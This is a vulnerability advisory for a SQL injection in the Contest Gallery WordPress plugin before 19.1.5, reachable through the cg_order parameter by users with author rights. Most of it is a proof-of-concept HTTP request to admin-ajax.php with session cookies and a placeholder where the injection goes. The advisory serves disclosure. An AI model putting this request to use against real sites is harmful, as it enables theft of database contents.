Contest Gallery < 19.1.5 - Author+ SQL Injection

The plugins do not escape the cg_order POST parameter before concatenating it to an SQL query in order-custom-fields-with-and-without-search.php. This may allow malicious users with at least author privilege to leak sensitive information from the site’s database.

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------165946102935726109082974098673 Content-Length: 2147 Origin: http://localhost:8080 Connection: close Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1669114555%7CICoJ8dLAYWL8f1mNurYEUJKz80G5qsAs9QUHANu7Y6P%7C8d38932578430fa522ce64ed0143d8be7054cdb5b40694aecf1402276b84f91c; wp-settings-time-2=1668942221; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1669114555%7CICoJ8dLAYWL8f1mNurYEUJKz80G5qsAs9QUHANu7Y6P%7Ce49a6e0384972bf193b755ee522182a7075ecf477f3c7a236f7fd32cac02e245 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cgGalleryFormSubmit” 1 -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“action” post_cg_gallery_view_control_backend -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cgGalleryHash” da8ea8d5d1357ad6772b3fc38178023a -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cg_id” 1 -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cg_start” -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cg_step” 10 -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cg_order” cg_input_for_id_//inject-here// -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cgVersionScripts” 19.1.4.1 -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cg_search” -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cg_email[2]” [email protected] -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cg_image_name[2]” jpg-vector-icon-png_287422 -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cg_email[1]” [email protected] -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cg_image_name[1]” contest-gallery_13_step-11 -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“chooseAction1” 1 -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cgBackendHash” c5df761d52dd842d7a3b5ed58a78774d -----------------------------165946102935726109082974098673 Content-Disposition: form-data; name=“cgIsRealFormSubmit” true -----------------------------165946102935726109082974098673–